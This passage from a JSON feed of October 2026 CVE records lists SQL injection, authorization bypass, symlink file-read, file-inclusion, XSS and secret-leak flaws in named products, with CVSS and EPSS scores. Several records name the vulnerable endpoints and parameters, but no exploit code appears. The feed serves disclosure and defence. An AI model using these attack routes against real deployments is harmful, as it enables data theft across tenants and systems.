fixes.","publishedAt":"2026-10-22T11:17:52.427Z","updatedAt":"2026-10-22T16:53:20.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115332","asOf":"2026-10-22T16:53:20.563Z"},"epss":{"probability":0.00304,"percentile":0.22972,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115332&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115332","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115332","type":"primary","publishedAt":"2026-10-22T11:17:52.427Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115332&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115332, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115331","cveId":"CVE-2026-115331","aliases":[],"kind":"vulnerability","title":"Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by supplying crafted billable metric property_name or...","summary":"Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by supplying crafted billable metric property_name or categorical filter values. Attackers can embed SQL in values rendered unescaped into Jinja-generated counter, gauge and rate metric queries to access the database shared by all tenants.","detail":"Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to inject SQL by supplying crafted billable metric property_name or categorical filter values. Attackers can embed SQL in values rendered unescaped into Jinja-generated counter, gauge and rate metric queries to access the database shared by all tenants.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:52.290Z","updatedAt":"2026-10-22T16:53:20.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115331","asOf":"2026-10-22T16:53:20.563Z"},"epss":{"probability":0.00284,"percentile":0.20702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115331&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115331","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115331","type":"primary","publishedAt":"2026-10-22T11:17:52.290Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115331&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115331, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115330","cveId":"CVE-2026-115330","aliases":[],"kind":"vulnerability","title":"Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to execute arbitrary SQL by appending stacked statements to custom metric...","summary":"Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to execute arbitrary SQL by appending stacked statements to custom metric queries. Attackers can submit semicolon-separated SQL through POST /app/metrics/, bypassing first-statement-only validation, to read or modify data across all tenants.","detail":"Lotus through 0.10.2 contains an sql injection vulnerability that allows authenticated organization users to execute arbitrary SQL by appending stacked statements to custom metric queries. Attackers can submit semicolon-separated SQL through POST /app/metrics/, bypassing first-statement-only validation, to read or modify data across all tenants.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:52.153Z","updatedAt":"2026-10-22T16:53:20.563Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115330","asOf":"2026-10-22T16:53:20.563Z"},"epss":{"probability":0.00298,"percentile":0.22274,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115330&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115330","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115330","type":"primary","publishedAt":"2026-10-22T11:17:52.153Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115330&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115330, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115328","cveId":"CVE-2026-115328","aliases":[],"kind":"vulnerability","title":"JSON-SCADA before 0.65-alpha contains an sql injection vulnerability in opcApi() in src/server_realtime_auth/index.js that allows authenticated users to inject SQL via...","summary":"JSON-SCADA before 0.65-alpha contains an sql injection vulnerability in opcApi() in src/server_realtime_auth/index.js that allows authenticated users to inject SQL via HistoryReadRequest parameters. Attackers can inject stacked statements through NodeId.Id, StartTime, or EndTime values to read, modify, or delete historian data across all locations regardless of role.","detail":"JSON-SCADA before 0.65-alpha contains an sql injection vulnerability in opcApi() in src/server_realtime_auth/index.js that allows authenticated users to inject SQL via HistoryReadRequest parameters. Attackers can inject stacked statements through NodeId.Id, StartTime, or EndTime values to read, modify, or delete historian data across all locations regardless of role.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:51.873Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115328","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.0029,"percentile":0.21329,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115328&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115328","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115328","type":"primary","publishedAt":"2026-10-22T11:17:51.873Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115328&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115328, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115325","cveId":"CVE-2026-115325","aliases":[],"kind":"vulnerability","title":"Netmaker through 1.7.0 contains an authorization bypass vulnerability in the updateExtClient handler that allows network-scoped users to modify external clients on other networks.","summary":"Netmaker through 1.7.0 contains an authorization bypass vulnerability in the updateExtClient handler that allows network-scoped users to modify external clients on other networks. Attackers with external client permissions on one network can send PUT requests to /api/extclients/{network}/{clientid} to replace public keys, disable clients, and obtain WireGuard private keys.","detail":"Netmaker through 1.7.0 contains an authorization bypass vulnerability in the updateExtClient handler that allows network-scoped users to modify external clients on other networks. Attackers with external client permissions on one network can send PUT requests to /api/extclients/{network}/{clientid} to replace public keys, disable clients, and obtain WireGuard private keys.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:51.400Z","updatedAt":"2026-10-23T15:17:27.940Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115325","asOf":"2026-10-23T15:17:27.940Z"},"epss":{"probability":0.00362,"percentile":0.29803,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115325&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115325","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115325","type":"primary","publishedAt":"2026-10-22T11:17:51.400Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115325&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115325, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-115323","cveId":"CVE-2026-115323","aliases":[],"kind":"vulnerability","title":"EverShop 1.2.2 before 2.2.1 contains a missing authorization vulnerability in the customer address API that allows unauthenticated attackers to manage other customers' addresses.","summary":"EverShop 1.2.2 before 2.2.1 contains a missing authorization vulnerability in the customer address API that allows unauthenticated attackers to manage other customers' addresses. Attackers who know customer and address UUIDs can send POST, PATCH, or DELETE requests to /api/customers/:customer_id/addresses routes to add, modify, or delete saved shipping addresses.","detail":"EverShop 1.2.2 before 2.2.1 contains a missing authorization vulnerability in the customer address API that allows unauthenticated attackers to manage other customers' addresses. Attackers who know customer and address UUIDs can send POST, PATCH, or DELETE requests to /api/customers/:customer_id/addresses routes to add, modify, or delete saved shipping addresses.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:51.100Z","updatedAt":"2026-10-22T11:17:51.217Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":6.9,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-115323","asOf":"2026-10-22T11:17:51.217Z"},"epss":{"probability":0.00242,"percentile":0.15165,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-115323&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-115323","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-115323","type":"primary","publishedAt":"2026-10-22T11:17:51.100Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-115323&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-115323, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-114665","cveId":"CVE-2026-114665","aliases":[],"kind":"vulnerability","title":"Goploy 1.18.0 before 1.18.1 contains a link following vulnerability in the /deploy/fileDiff and /deploy/fileCompare endpoints that allows authenticated members to read arbitrary...","summary":"Goploy 1.18.0 before 1.18.1 contains a link following vulnerability in the /deploy/fileDiff and /deploy/fileCompare endpoints that allows authenticated members to read arbitrary files. Attackers with repository write access can commit a symlink pointing outside the project directory to read database configuration and deployment SSH private keys.","detail":"Goploy 1.18.0 before 1.18.1 contains a link following vulnerability in the /deploy/fileDiff and /deploy/fileCompare endpoints that allows authenticated members to read arbitrary files. Attackers with repository write access can commit a symlink pointing outside the project directory to read database configuration and deployment SSH private keys.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:43.810Z","updatedAt":"2026-10-22T17:40:46.877Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-114665","asOf":"2026-10-22T17:40:46.877Z"},"epss":{"probability":0.00353,"percentile":0.28734,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-114665&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-114665","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-114665","type":"primary","publishedAt":"2026-10-22T11:17:43.810Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-114665&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-114665, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112822","cveId":"CVE-2026-112822","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in AmentoTech Workreap Core workreap_core allows Blind SQL Injection.This issue...","summary":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in AmentoTech Workreap Core workreap_core allows Blind SQL Injection.This issue affects Workreap Core: from n/a before 3.4.4.","detail":"Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') vulnerability in AmentoTech Workreap Core workreap_core allows Blind SQL Injection.This issue affects Workreap Core: from n/a before 3.4.4.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:32.113Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112822","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00289,"percentile":0.21225,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112822&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112822","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112822","type":"primary","publishedAt":"2026-10-22T11:17:32.113Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112822&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112822, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112820","cveId":"CVE-2026-112820","aliases":[],"kind":"vulnerability","title":"Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Academist Core academist-core allows PHP...","summary":"Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Academist Core academist-core allows PHP Local File Inclusion.This issue affects Academist Core: from n/a through 1.4.1.","detail":"Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in Elated-Themes Academist Core academist-core allows PHP Local File Inclusion.This issue affects Academist Core: from n/a through 1.4.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:31.147Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":["PHP"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112820","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.00438,"percentile":0.37813,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112820&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112820","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112820","type":"primary","publishedAt":"2026-10-22T11:17:31.147Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112820&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112820, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-112313","cveId":"CVE-2026-112313","aliases":[],"kind":"vulnerability","title":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ACF Extended ACF Extended acf-extended allows Stored XSS.This issue affects...","summary":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ACF Extended ACF Extended acf-extended allows Stored XSS.This issue affects ACF Extended: from n/a through 0.9.2.7.","detail":"Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in ACF Extended ACF Extended acf-extended allows Stored XSS.This issue affects ACF Extended: from n/a through 0.9.2.7.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:28.137Z","updatedAt":"2026-10-22T15:15:23.833Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.1,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-112313","asOf":"2026-10-22T15:15:23.833Z"},"epss":{"probability":0.0019,"percentile":0.08561,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-112313&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-112313","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-112313","type":"primary","publishedAt":"2026-10-22T11:17:28.137Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-112313&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-112313, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111079","cveId":"CVE-2026-111079","aliases":[],"kind":"vulnerability","title":"A flaw was found in Goose. When the terminal integration feature is enabled, the application captures shell command history and sends it verbatim without sanitization to...","summary":"A flaw was found in Goose. When the terminal integration feature is enabled, the application captures shell command history and sends it verbatim without sanitization to configured Large Language Model (LLM) provider endpoints during queries. If a user enters sensitive data—such as API tokens, passwords, or environment variables containing secrets—in the terminal, this unredacted information is transmitted across trust boundaries. This can lead to sensitive information disclosure, exposing confidential credentials to external service providers and logs.","detail":"A flaw was found in Goose. When the terminal integration feature is enabled, the application captures shell command history and sends it verbatim without sanitization to configured Large Language Model (LLM) provider endpoints during queries. If a user enters sensitive data—such as API tokens, passwords, or environment variables containing secrets—in the terminal, this unredacted information is transmitted across trust boundaries. This can lead to sensitive information disclosure, exposing confidential credentials to external service providers and logs.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-22T11:17:15.460Z","updatedAt":"2026-10-23T15:17:23.993Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.4,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111079","asOf":"2026-10-23T15:17:23.993Z"},"epss":{"probability":0.00301,"percentile":0.2266,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111079&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111079","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111079","type":"primary","publishedAt":"2026-10-22T11:17:15.460Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111079&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for 